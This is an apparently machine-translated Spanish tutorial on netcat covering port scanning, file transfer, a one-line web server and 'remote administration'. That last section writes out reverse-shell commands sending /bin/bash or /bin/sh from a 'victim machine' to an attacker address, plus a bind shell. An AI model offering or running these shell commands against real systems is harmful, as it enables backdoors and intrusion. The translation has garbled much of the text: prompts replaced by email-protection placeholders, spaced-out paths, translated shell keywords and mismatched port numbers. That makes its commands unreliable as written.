Una breve diferencia entre netcat-traditional y netcat-openbsd
Hay dos paquetes similares disponibles para netcat con una ligera diferencia entre ellos.
netcat-tradicional incluye una opción '-e' adicional que se puede utilizar para vincular un programa (i.e bash) con netcat. Esta función es muy útil para fines de administración remota.
netcat-openbsd tener algo de soporte adicional para IPv6 y proxies.
Instalación de Netcat
Aunque netcat viene preinstalado en la mayoría de las distribuciones de Linux, si no es así, se puede instalar fácilmente usando los siguientes comandos.
Para paquete tradicional,
[correo electrónico protegido]: ~ $ sudo apt-get install netcat-traditionalPara la versión openbsd,
[correo electrónico protegido]: ~ $ sudo apt-get install netcat-openbsdNetcat para Windows se puede descargar desde aquí https: // sourceforge.net / proyectos / nc110 / archivos /.
Ahora exploraremos algunos casos de uso interesantes de netcat
Escaneo de puertos usando netcat
Para buscar puertos abiertos, use la opción '-z'. Netcat intentará conectarse a todos los puertos sin enviar ningún dato o datos muy limitados en el caso de UDP. Escriba lo siguiente
[correo electrónico protegido]: ~ $ nc -z -v hackme.org 80... recortar ..
hackéame.org [217.78.1.155] 80 (http) abierto
Para buscar un rango de puertos, escriba
[correo electrónico protegido]: ~ $ nc -z -nv 192.168.100.72 20-80(DESCONOCIDO) [192.168.100.72] 80 (http) abierto
(DESCONOCIDO) [192.168.100.72] 22 (ssh) abierto
Transferencia de archivos con netcat
Otro caso de uso útil de netcat es la transferencia de archivos entre computadoras remotas. Puede enviar textos y archivos binarios de una PC a otra PC. Intentaremos enviar un archivo "archivo.pdf ”desde una PC con Linux a una PC con Windows [IP 192.168.100.72] usando netcat como ejemplo.
En la máquina con Windows (receptor), escriba lo siguiente
C: \ Usuarios> nc -nvlp 1337> archivo.pdfEscuchando en [0.0.0.0] (familia 2, puerto 1337)
En la máquina Linux (remitente), escriba lo siguiente
[correo electrónico protegido]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfConexión a 192.168.100.72 El puerto 1337 [tcp / *] se realizó correctamente!
Administración remota con netcat
Uno de los mejores casos de uso de netcat es la administración remota, lo que significa que puede controlar la PC de otra persona utilizando netcat. Netcat-traditional viene con la opción '-e' que se puede usar para vincular un programa (i.e cmd.exe en Windows o bash en Linux) con un puerto, eso significa que netcat actuará como comunicador entre el programa y la PC remota. Netcat recibirá comandos de la PC remota, se ejecutará en el sistema local y enviará los resultados a la PC remota. Esta función se usa ampliamente con fines maliciosos, para mantener puertas traseras en PC y servidores. Esta función solo está disponible en netcat-traditional pero con un pequeño truco, netcat-openbsd también se puede utilizar para el mismo propósito. Puede utilizar dos formas de controlar la PC de otros.
en un Concha inversa conexión, un atacante escucha en un puerto y espera que se envíe una conexión desde la máquina víctima. Se utiliza cuando la computadora de la víctima está detrás de NAT o no tiene IP pública.
Para obtener un shell inverso usando netcat, necesita escuchar en un puerto usando netcat. Escriba lo siguiente en la máquina del atacante,
[correo electrónico protegido]: ~ $ nc -nvlp 1337Escuchando en [0.0.0.0] (familia 2, puerto 1337)
En la máquina víctima (si netcat-tradicional esta instalado)
// reemplaza "/ bin / bash" por "cmd.exe ”en el caso de Windows
[correo electrónico protegido]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashPara netcat-openbsd (donde la opción "-e" no es compatible)
[correo electrónico protegido]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Mientras en un Enlazar Shell conexión, el atacante enlaza un puerto en la máquina víctima y se conecta a ese puerto usando el socket del cliente. Se utiliza cuando la máquina del atacante está detrás de NAT o no tiene una IP pública.
En la máquina víctima, escriba
[correo electrónico protegido]: ~ $ nc -nlvp 1337 -e / bin / bashescuchando en [cualquier] 1337 ..
Ahora, para ejecutar comandos en la máquina víctima, escriba
[correo electrónico protegido]: ~ $ nc -nv 127.0.0.1 1337Conexión a 127.0.0.1 puerto 1337 [tcp / *] realizado correctamente!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupos = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (inmersión), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Servidor web simple usando netcat
También puede hacer otro truco simple para usar netcat como servidor web mínimo de una sola página. Este servidor web sería muy simple sin configuraciones especiales, y usaremos para enviar nuestro código HTML al navegador.
[correo electrónico protegido]: ~ $ mientras sea verdadero; hacer echo -e "HTTP / 1.1200 OK \ n \ n $ (echo "
Mi servidor web simple usando netcat
")" | nc -nvlp 1337; hechoEscuchando en [0.0.0.0] (familia 2, puerto 1337)
Ahora, intente obtener la página web usando curl
[correo electrónico protegido]: ~ $ curl http: // 127.0.0.1: 1337 /Mi servidor web simple usando netcat
Especificar tiempo de espera para una sesión de netcat
Puede especificar el tiempo de espera para una sesión de netcat mediante la opción "-w". Netcat desconectará automáticamente su sesión después de que pase el tiempo especificado.
// -w [Tiempo en segundos][correo electrónico protegido]: ~ $ nc -w 40 -nvlp 1337
Escuchando en [0.0.0.0] (familia 2, puerto 1234)
Continuar escuchando incluso si el cliente cierra la conexión
En modo normal, el servidor netcat se apaga y deja de escuchar en el puerto cuando un cliente cierra la conexión. Puede mantener el servidor con la opción "-k"
[correo electrónico protegido]: ~ $ nc -k -nlvp 1234Escuchando en [0.0.0.0] (familia 2, puerto 1234)
Conclusión
Netcat es una utilidad simple pero eficiente que se puede usar para muchas tareas diarias simples. Viene preinstalado en casi todos los sistemas operativos tipo UNIX y se puede utilizar para diversas tareas como la comunicación entre dos PC, la transferencia de archivos y muchas más.